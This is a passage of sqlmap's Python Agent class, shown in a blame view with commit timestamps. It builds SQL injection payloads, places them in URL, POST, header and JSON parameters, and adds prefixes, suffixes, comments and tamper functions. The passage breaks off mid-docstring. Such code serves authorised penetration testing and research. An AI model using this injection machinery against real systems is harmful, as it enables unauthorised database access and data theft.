2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
"""
|
2020-01-01 15:25:15 +03:00
|
|
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2012-04-17 18:23:00 +04:00
|
|
|
from lib.core.common import extractRegexResult
|
2019-03-29 04:28:16 +03:00
|
|
|
from lib.core.common import filterNone
|
2012-07-10 03:19:32 +04:00
|
|
|
from lib.core.common import getSQLSnippet
|
2019-07-01 11:43:05 +03:00
|
|
|
from lib.core.common import getTechnique
|
2019-07-18 12:27:00 +03:00
|
|
|
from lib.core.common import getTechniqueData
|
2020-01-21 01:11:37 +03:00
|
|
|
from lib.core.common import hashDBRetrieve
|
2010-12-10 14:32:46 +03:00
|
|
|
from lib.core.common import isDBMSVersionAtLeast
|
2012-10-04 20:01:42 +04:00
|
|
|
from lib.core.common import isNumber
|
2010-12-15 15:50:56 +03:00
|
|
|
from lib.core.common import isTechniqueAvailable
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.common import randomStr
|
2013-01-15 19:05:33 +04:00
|
|
|
from lib.core.common import safeSQLIdentificatorNaming
|
2016-03-08 16:35:16 +03:00
|
|
|
from lib.core.common import safeStringFormat
|
2012-02-21 15:44:48 +04:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
2013-01-22 18:51:06 +04:00
|
|
|
from lib.core.common import splitFields
|
2013-01-21 19:15:38 +04:00
|
|
|
from lib.core.common import unArrayizeValue
|
2014-09-12 15:29:30 +04:00
|
|
|
from lib.core.common import urlencode
|
2013-01-21 19:15:38 +04:00
|
|
|
from lib.core.common import zeroDepthSearch
|
2019-03-28 18:04:38 +03:00
|
|
|
from lib.core.compat import xrange
|
2019-09-16 11:08:10 +03:00
|
|
|
from lib.core.convert import encodeBase64
|
2019-05-06 01:54:21 +03:00
|
|
|
from lib.core.convert import getUnicode
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import queries
|
2013-01-15 19:05:33 +04:00
|
|
|
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
2012-08-21 13:19:15 +04:00
|
|
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2020-01-21 01:11:37 +03:00
|
|
|
from lib.core.enums import FORK
|
|
|
|
from lib.core.enums import HASHDB_KEYS
|
2015-04-22 11:28:16 +03:00
|
|
|
from lib.core.enums import HTTP_HEADER
|
2010-12-08 16:09:27 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import PLACE
|
2012-10-04 18:08:37 +04:00
|
|
|
from lib.core.enums import POST_HINT
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapNoneDataException
|
2015-06-16 23:20:21 +03:00
|
|
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
2016-04-29 15:19:32 +03:00
|
|
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
2014-10-09 16:39:54 +04:00
|
|
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
|
|
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
2012-05-09 13:08:23 +04:00
|
|
|
from lib.core.settings import GENERIC_SQL_COMMENT
|
2020-01-23 01:41:06 +03:00
|
|
|
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
2017-10-31 13:05:25 +03:00
|
|
|
from lib.core.settings import INFERENCE_MARKER
|
2016-04-04 14:50:10 +03:00
|
|
|
from lib.core.settings import NULL
|
2010-10-29 20:11:50 +04:00
|
|
|
from lib.core.settings import PAYLOAD_DELIMITER
|
2013-02-13 15:24:42 +04:00
|
|
|
from lib.core.settings import REPLACEMENT_MARKER
|
2018-10-16 13:23:07 +03:00
|
|
|
from lib.core.settings import SINGLE_QUOTE_MARKER
|
2016-09-27 11:32:22 +03:00
|
|
|
from lib.core.settings import SLEEP_TIME_MARKER
|
2019-09-16 20:29:38 +03:00
|
|
|
from lib.core.settings import UNICODE_ENCODING
|
2011-02-06 18:53:43 +03:00
|
|
|
from lib.core.unescaper import unescaper
|
2019-08-22 11:43:38 +03:00
|
|
|
from thirdparty import six
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-12-06 13:42:53 +04:00
|
|
|
class Agent(object):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This class defines the SQL agent methods.
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
def payloadDirect(self, query):
|
2013-04-15 17:23:45 +04:00
|
|
|
query = self.cleanupPayload(query)
|
|
|
|
|
2014-04-03 11:05:12 +04:00
|
|
|
if query.upper().startswith("AND "):
|
|
|
|
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
|
|
|
|
elif query.upper().startswith(" UNION ALL "):
|
|
|
|
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
|
2010-03-27 02:23:25 +03:00
|
|
|
elif query.startswith("; "):
|
2010-03-30 15:52:45 +04:00
|
|
|
query = query.replace("; ", "", 1)
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2012-11-28 20:00:26 +04:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
|
|
|
|
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
|
2017-04-18 16:56:24 +03:00
|
|
|
for field in fieldsToCastStr.split(','):
|
2012-11-28 20:00:26 +04:00
|
|
|
query = query.replace(field, self.nullAndCastField(field))
|
|
|
|
|
2010-10-31 17:22:32 +03:00
|
|
|
if kb.tamperFunctions:
|
|
|
|
for function in kb.tamperFunctions:
|
2012-10-25 12:10:23 +04:00
|
|
|
query = function(payload=query)
|
2010-10-31 17:22:32 +03:00
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
return query
|
|
|
|
|
2015-07-05 02:47:01 +03:00
|
|
|
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method replaces the affected parameter with the SQL
|
|
|
|
injection statement to request
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return self.payloadDirect(newValue)
|
|
|
|
|
2012-05-10 18:15:17 +04:00
|
|
|
retVal = ""
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2015-07-26 18:02:46 +03:00
|
|
|
if kb.forceWhere:
|
|
|
|
where = kb.forceWhere
|
2019-07-01 11:43:05 +03:00
|
|
|
elif where is None and isTechniqueAvailable(getTechnique()):
|
2019-07-18 12:27:00 +03:00
|
|
|
where = getTechniqueData().where
|
2011-01-12 01:18:47 +03:00
|
|
|
|
|
|
|
if kb.injection.place is not None:
|
|
|
|
place = kb.injection.place
|
2008-12-03 00:56:23 +03:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
if kb.injection.parameter is not None:
|
|
|
|
parameter = kb.injection.parameter
|
2010-12-03 13:44:16 +03:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
paramString = conf.parameters[place]
|
|
|
|
paramDict = conf.paramDict[place]
|
2014-11-25 15:54:26 +03:00
|
|
|
origValue = getUnicode(paramDict[parameter])
|
2017-12-05 13:33:30 +03:00
|
|
|
newValue = getUnicode(newValue) if newValue else newValue
|
2011-01-12 15:03:23 +03:00
|
|
|
|
2016-04-29 15:19:32 +03:00
|
|
|
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
2012-10-04 17:33:26 +04:00
|
|
|
paramString = origValue
|
2016-04-29 15:19:32 +03:00
|
|
|
if place == PLACE.URI:
|
2017-07-20 03:41:47 +03:00
|
|
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
2016-04-29 15:19:32 +03:00
|
|
|
else:
|
2019-03-29 04:28:16 +03:00
|
|
|
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
|
2011-01-22 19:23:33 +03:00
|
|
|
origValue = origValue[origValue.rfind('/') + 1:]
|
2019-01-13 14:07:46 +03:00
|
|
|
for char in ('?', '=', ':', ',', '&'):
|
2011-09-08 15:13:12 +04:00
|
|
|
if char in origValue:
|
|
|
|
origValue = origValue[origValue.rfind(char) + 1:]
|
2012-04-17 18:23:00 +04:00
|
|
|
elif place == PLACE.CUSTOM_POST:
|
2012-10-04 17:33:26 +04:00
|
|
|
paramString = origValue
|
2017-07-20 03:41:47 +03:00
|
|
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
2013-02-14 22:53:12 +04:00
|
|
|
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
2019-11-06 13:39:57 +03:00
|
|
|
origValue = re.split(r"['\">]", origValue)[-1]
|
2014-10-22 12:38:49 +04:00
|
|
|
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
2017-09-11 11:17:02 +03:00
|
|
|
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
|
2013-02-14 22:53:12 +04:00
|
|
|
else:
|
2014-04-10 22:55:13 +04:00
|
|
|
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
|
2013-12-03 16:37:04 +04:00
|
|
|
origValue = _.split('=', 1)[1] if '=' in _ else ""
|
2013-01-13 19:22:43 +04:00
|
|
|
elif place == PLACE.CUSTOM_HEADER:
|
|
|
|
paramString = origValue
|
2016-07-16 23:42:15 +03:00
|
|
|
origValue = origValue[origValue.find(',') + 1:]
|
2018-03-08 03:21:34 +03:00
|
|
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
2017-09-18 00:56:48 +03:00
|
|
|
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
|
2014-09-20 12:20:57 +04:00
|
|
|
if match:
|
|
|
|
origValue = match.group("value")
|
2015-04-22 11:28:16 +03:00
|
|
|
elif ',' in paramString:
|
|
|
|
header = paramString.split(',')[0]
|
|
|
|
|
|
|
|
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
|
2015-04-22 11:33:22 +03:00
|
|
|
origValue = origValue.split(' ')[-1].split(':')[-1]
|
2011-01-22 19:23:33 +03:00
|
|
|
|
2017-07-26 01:54:29 +03:00
|
|
|
origValue = origValue or ""
|
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
if value is None:
|
2016-02-05 13:53:24 +03:00
|
|
|
if where == PAYLOAD.WHERE.ORIGINAL:
|
2011-01-12 15:03:23 +03:00
|
|
|
value = origValue
|
2011-02-02 16:34:09 +03:00
|
|
|
elif where == PAYLOAD.WHERE.NEGATIVE:
|
2012-04-26 00:29:07 +04:00
|
|
|
if conf.invalidLogical:
|
2017-10-31 13:38:09 +03:00
|
|
|
match = re.search(r"\A[^ ]+", newValue)
|
2012-04-26 00:29:07 +04:00
|
|
|
newValue = newValue[len(match.group() if match else ""):]
|
2013-03-01 15:04:49 +04:00
|
|
|
_ = randomInt(2)
|
2018-06-07 01:37:22 +03:00
|
|
|
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
|
2012-04-26 00:29:07 +04:00
|
|
|
elif conf.invalidBignum:
|
2014-01-23 12:07:25 +04:00
|
|
|
value = randomInt(6)
|
2014-01-24 00:56:06 +04:00
|
|
|
elif conf.invalidString:
|
|
|
|
value = randomStr(6)
|
2012-04-26 00:29:07 +04:00
|
|
|
else:
|
2011-10-24 04:40:06 +04:00
|
|
|
if newValue.startswith("-"):
|
|
|
|
value = ""
|
|
|
|
else:
|
|
|
|
value = "-%s" % randomInt()
|
2011-02-02 16:34:09 +03:00
|
|
|
elif where == PAYLOAD.WHERE.REPLACE:
|
2011-01-12 15:03:23 +03:00
|
|
|
value = ""
|
|
|
|
else:
|
|
|
|
value = origValue
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
newValue = "%s%s" % (value, newValue)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
newValue = self.cleanupPayload(newValue, origValue)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2019-04-17 15:22:36 +03:00
|
|
|
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
|
|
|
# TODO: support for POST_HINT
|
2019-09-16 20:29:38 +03:00
|
|
|
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
|
|
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
2019-04-17 15:22:36 +03:00
|
|
|
|
2013-01-13 19:22:43 +04:00
|
|
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
2017-07-20 03:41:47 +03:00
|
|
|
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
2019-10-15 02:04:45 +03:00
|
|
|
|
2019-05-29 17:42:04 +03:00
|
|
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
2019-10-15 02:04:45 +03:00
|
|
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
2019-05-29 17:42:04 +03:00
|
|
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
2019-10-15 02:04:45 +03:00
|
|
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
|
|
|
else:
|
|
|
|
newValue = self.addPayloadDelimiters(newValue)
|
|
|
|
|
2017-07-20 03:41:47 +03:00
|
|
|
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
2019-10-15 02:04:45 +03:00
|
|
|
retVal = paramString.replace(_, newValue)
|
2017-07-20 03:41:47 +03:00
|
|
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
2016-04-29 15:19:32 +03:00
|
|
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
2017-08-28 18:29:46 +03:00
|
|
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
2012-07-26 14:26:57 +04:00
|
|
|
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
2012-05-10 18:15:17 +04:00
|
|
|
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
2011-01-12 15:03:23 +03:00
|
|
|
else:
|
2014-11-24 13:54:04 +03:00
|
|
|
def _(pattern, repl, string):
|
|
|
|
retVal = string
|
|
|
|
match = None
|
|
|
|
for match in re.finditer(pattern, string):
|
|
|
|
pass
|
2014-12-20 02:23:31 +03:00
|
|
|
|
2014-11-24 13:54:04 +03:00
|
|
|
if match:
|
|
|
|
while True:
|
|
|
|
_ = re.search(r"\\g<([^>]+)>", repl)
|
|
|
|
if _:
|
2015-06-26 11:11:34 +03:00
|
|
|
try:
|
|
|
|
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
|
|
|
except IndexError:
|
|
|
|
break
|
2014-11-24 13:54:04 +03:00
|
|
|
else:
|
|
|
|
break
|
|
|
|
retVal = string[:match.start()] + repl + string[match.end():]
|
|
|
|
return retVal
|
|
|
|
|
2014-10-09 16:39:54 +04:00
|
|
|
if origValue:
|
2014-12-20 02:23:31 +03:00
|
|
|
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
|
2015-10-15 17:00:59 +03:00
|
|
|
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
2014-10-09 16:39:54 +04:00
|
|
|
else:
|
2018-06-10 00:38:00 +03:00
|
|
|
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
2015-06-26 11:11:34 +03:00
|
|
|
|
2014-09-12 15:29:30 +04:00
|
|
|
if retVal == paramString and urlencode(parameter) != parameter:
|
2015-10-15 17:00:59 +03:00
|
|
|
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
|
2011-01-12 15:03:23 +03:00
|
|
|
|
2015-06-16 23:20:21 +03:00
|
|
|
if retVal:
|
|
|
|
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
|
|
|
|
2012-05-10 18:15:17 +04:00
|
|
|
return retVal
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-02-07 01:58:12 +03:00
|
|
|
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
2011-02-07 01:58:12 +03:00
|
|
|
This method defines how the input expression has to be escaped
|
2008-10-15 19:38:22 +04:00
|
|
|
to perform the injection depending on the injection type
|
|
|
|
identified as valid
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
2011-02-07 01:58:12 +03:00
|
|
|
return self.payloadDirect(expression)
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2015-06-29 01:20:35 +03:00
|
|
|
if expression is None:
|
|
|
|
return None
|
|
|
|
|
2011-02-07 02:27:56 +03:00
|
|
|
expression = self.cleanupPayload(expression)
|
2013-01-18 18:40:37 +04:00
|
|
|
expression = unescaper.escape(expression)
|
2010-12-03 14:15:11 +03:00
|
|
|
query = None
|
|
|
|
|
2019-07-01 11:43:05 +03:00
|
|
|
if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
|
2019-07-18 12:27:00 +03:00
|
|
|
where = getTechniqueData().where
|
2011-01-24 15:25:45 +03:00
|
|
|
|
|
|
|
# If we are replacing (<where>) the parameter original value with
|
|
|
|
# our payload do not prepend with the prefix
|
2019-12-09 13:31:07 +03:00
|
|
|
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
|
2011-01-24 15:25:45 +03:00
|
|
|
query = ""
|
|
|
|
|
|
|
|
# If the technique is stacked queries (<stype>) do not put a space
|
|
|
|
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
|
2019-07-01 11:43:05 +03:00
|
|
|
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
|
2010-12-03 13:44:16 +03:00
|
|
|
query = kb.injection.prefix
|
2013-01-10 14:54:07 +04:00
|
|
|
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
|
2011-01-12 01:18:47 +03:00
|
|
|
query = kb.injection.prefix
|
2013-01-10 14:54:07 +04:00
|
|
|
elif clause == [2, 3] or clause == [2] or clause == [3]:
|
2011-01-24 15:25:45 +03:00
|
|
|
query = prefix
|
2010-12-03 14:15:11 +03:00
|
|
|
|
2011-01-24 15:25:45 +03:00
|
|
|
# In any other case prepend with the full prefix
|
|
|
|
else:
|
|
|
|
query = kb.injection.prefix or prefix or ""
|
2011-01-16 22:25:10 +03:00
|
|
|
|
2018-10-12 01:16:42 +03:00
|
|
|
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
|
|
|
|
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
|
|
|
|
|
2014-04-10 23:29:59 +04:00
|
|
|
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
2011-01-16 22:25:10 +03:00
|
|
|
query += " "
|
2010-12-03 13:44:16 +03:00
|
|
|
|
2015-06-26 11:30:53 +03:00
|
|
|
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return query
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2019-06-03 15:21:26 +03:00
|
|
|
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method appends the DBMS comment to the
|
|
|
|
SQL injection request
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
2011-02-07 01:58:12 +03:00
|
|
|
return self.payloadDirect(expression)
|
|
|
|
|
2015-06-29 01:20:35 +03:00
|
|
|
if expression is None:
|
|
|
|
return None
|
|
|
|
|
2011-02-07 02:27:56 +03:00
|
|
|
expression = self.cleanupPayload(expression)
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2012-09-26 13:27:43 +04:00
|
|
|
# Take default values if None
|
|
|
|
suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
|
|
|
|
|
2019-07-01 11:43:05 +03:00
|
|
|
if getTechnique() is not None and getTechnique() in kb.injection.data:
|
2019-07-18 12:27:00 +03:00
|
|
|
where = getTechniqueData().where if where is None else where
|
|
|
|
comment = getTechniqueData().comment if comment is None else comment
|
2012-09-25 16:36:15 +04:00
|
|
|
|
2020-01-23 01:41:06 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
|
|
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
2012-05-09 13:08:23 +04:00
|
|
|
|
2010-11-28 21:10:54 +03:00
|
|
|
if comment is not None:
|
2011-02-07 01:58:12 +03:00
|
|
|
expression += comment
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-24 15:25:45 +03:00
|
|
|
# If we are replacing (<where>) the parameter original value with
|
|
|
|
# our payload do not append the suffix
|
2014-04-10 23:09:27 +04:00
|
|
|
if where == PAYLOAD.WHERE.REPLACE and not conf.suffix:
|
2011-01-24 15:25:45 +03:00
|
|
|
pass
|
|
|
|
|
2012-09-26 13:27:43 +04:00
|
|
|
elif suffix and not comment:
|
2019-05-21 12:01:08 +03:00
|
|
|
if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix):
|
|
|
|
expression += " "
|
|
|
|
|
2015-06-16 23:20:21 +03:00
|
|
|
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
2011-01-12 01:18:47 +03:00
|
|
|
|
2019-06-03 15:21:26 +03:00
|
|
|
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-02-07 02:27:56 +03:00
|
|
|
def cleanupPayload(self, payload, origValue=None):
|
2019-08-22 11:43:38 +03:00
|
|
|
if not isinstance(payload, six.string_types):
|
2010-12-01 20:09:52 +03:00
|
|
|
return
|
|
|
|
|
2019-04-30 15:13:35 +03:00
|
|
|
replacements = {
|
|
|
|
"[DELIMITER_START]": kb.chars.start,
|
|
|
|
"[DELIMITER_STOP]": kb.chars.stop,
|
|
|
|
"[AT_REPLACE]": kb.chars.at,
|
|
|
|
"[SPACE_REPLACE]": kb.chars.space,
|
|
|
|
"[DOLLAR_REPLACE]": kb.chars.dollar,
|
|
|
|
"[HASH_REPLACE]": kb.chars.hash_,
|
|
|
|
"[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT
|
|
|
|
}
|
2019-04-30 14:20:31 +03:00
|
|
|
|
|
|
|
for value in re.findall(r"\[[A-Z_]+\]", payload):
|
|
|
|
if value in replacements:
|
|
|
|
payload = payload.replace(value, replacements[value])
|
2018-03-13 15:45:42 +03:00
|
|
|
|
|
|
|
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
2012-05-22 13:33:22 +04:00
|
|
|
payload = payload.replace(_, str(randomInt()))
|
|
|
|
|
2018-03-13 15:45:42 +03:00
|
|
|
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
2012-05-22 13:33:22 +04:00
|
|
|
payload = payload.replace(_, randomStr())
|
|
|
|
|
2018-09-05 01:56:39 +03:00
|
|
|
if origValue is not None:
|
2017-05-01 23:53:12 +03:00
|
|
|
origValue = getUnicode(origValue)
|
2019-08-30 15:43:56 +03:00
|
|
|
|
2018-09-05 01:56:39 +03:00
|
|
|
if "[ORIGVALUE]" in payload:
|
|
|
|
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
|
|
|
if "[ORIGINAL]" in payload:
|
|
|
|
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
|
2010-12-02 02:32:58 +03:00
|
|
|
|
2017-10-31 13:05:25 +03:00
|
|
|
if INFERENCE_MARKER in payload:
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.getIdentifiedDbms() is not None:
|
|
|
|
inference = queries[Backend.getIdentifiedDbms()].inference
|
2010-12-14 00:34:35 +03:00
|
|
|
|
2010-12-10 14:32:46 +03:00
|
|
|
if "dbms_version" in inference:
|
|
|
|
if isDBMSVersionAtLeast(inference.dbms_version):
|
|
|
|
inferenceQuery = inference.query
|
|
|
|
else:
|
|
|
|
inferenceQuery = inference.query2
|
|
|
|
else:
|
|
|
|
inferenceQuery = inference.query
|
2010-12-14 00:34:35 +03:00
|
|
|
|
2017-10-31 13:05:25 +03:00
|
|
|
payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
|
2019-08-30 15:43:56 +03:00
|
|
|
|
2014-07-20 01:17:23 +04:00
|
|
|
elif not kb.testMode:
|
2011-01-12 03:47:39 +03:00
|
|
|
errMsg = "invalid usage of inference payload without "
|
|
|
|
errMsg += "knowledge of underlying DBMS"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapNoneDataException(errMsg)
|
2010-12-03 19:12:47 +03:00
|
|
|
|
2010-12-01 01:40:25 +03:00
|
|
|
return payload
|
|
|
|
|
2012-05-22 13:33:22 +04:00
|
|
|
def adjustLateValues(self, payload):
|
2012-04-05 16:55:26 +04:00
|
|
|
"""
|
2012-05-22 13:33:22 +04:00
|
|
|
Returns payload with a replaced late tags (e.g. SLEEPTIME)
|
2012-04-05 16:55:26 +04:00
|
|
|
"""
|
|
|
|
|
2012-05-22 13:33:22 +04:00
|
|
|
if payload:
|
2016-09-27 11:32:22 +03:00
|
|
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
2018-10-16 13:23:07 +03:00
|
|
|
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
2012-05-22 13:33:22 +04:00
|
|
|
|
2017-07-06 12:44:18 +03:00
|
|
|
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
|
|
|
payload = payload.replace(_, str(randomInt()))
|
|
|
|
|
|
|
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
|
|
|
payload = payload.replace(_, randomStr())
|
|
|
|
|
2020-01-24 01:27:33 +03:00
|
|
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
|
2020-01-21 01:11:37 +03:00
|
|
|
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
|
|
|
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
|
|
|
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
|
|
|
|
2012-05-22 13:33:22 +04:00
|
|
|
return payload
|
2012-04-05 16:55:26 +04:00
|
|
|
|
2011-12-21 23:40:42 +04:00
|
|
|
def getComment(self, request):
|
2012-04-02 16:22:40 +04:00
|
|
|
"""
|
|
|
|
Returns comment form for the given request
|
|
|
|
"""
|
|
|
|
|
2011-12-21 23:40:42 +04:00
|
|
|
return request.comment if "comment" in request else ""
|
2010-12-01 01:40:25 +03:00
|
|
|
|
2012-04-02 16:22:40 +04:00
|
|
|
def hexConvertField(self, field):
|
|
|
|
"""
|
|
|
|
Returns hex converted field string
|
|
|
|
"""
|
|
|
|
|
|
|
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
|
|
|
hexField = field
|
|
|
|
|
2017-12-20 16:51:15 +03:00
|
|
|
if "hex" in rootQuery:
|
2012-04-02 16:22:40 +04:00
|
|
|
hexField = rootQuery.hex.query % field
|
|
|
|
else:
|
2019-08-30 15:43:56 +03:00
|
|
|
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
2012-04-02 16:22:40 +04:00
|
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
|
|
|
|
return hexField
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def nullAndCastField(self, field):
|
|
|
|
"""
|
|
|
|
Take in input a field string and return its processed nulled and
|
|
|
|
casted field string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: VERSION()
|
|
|
|
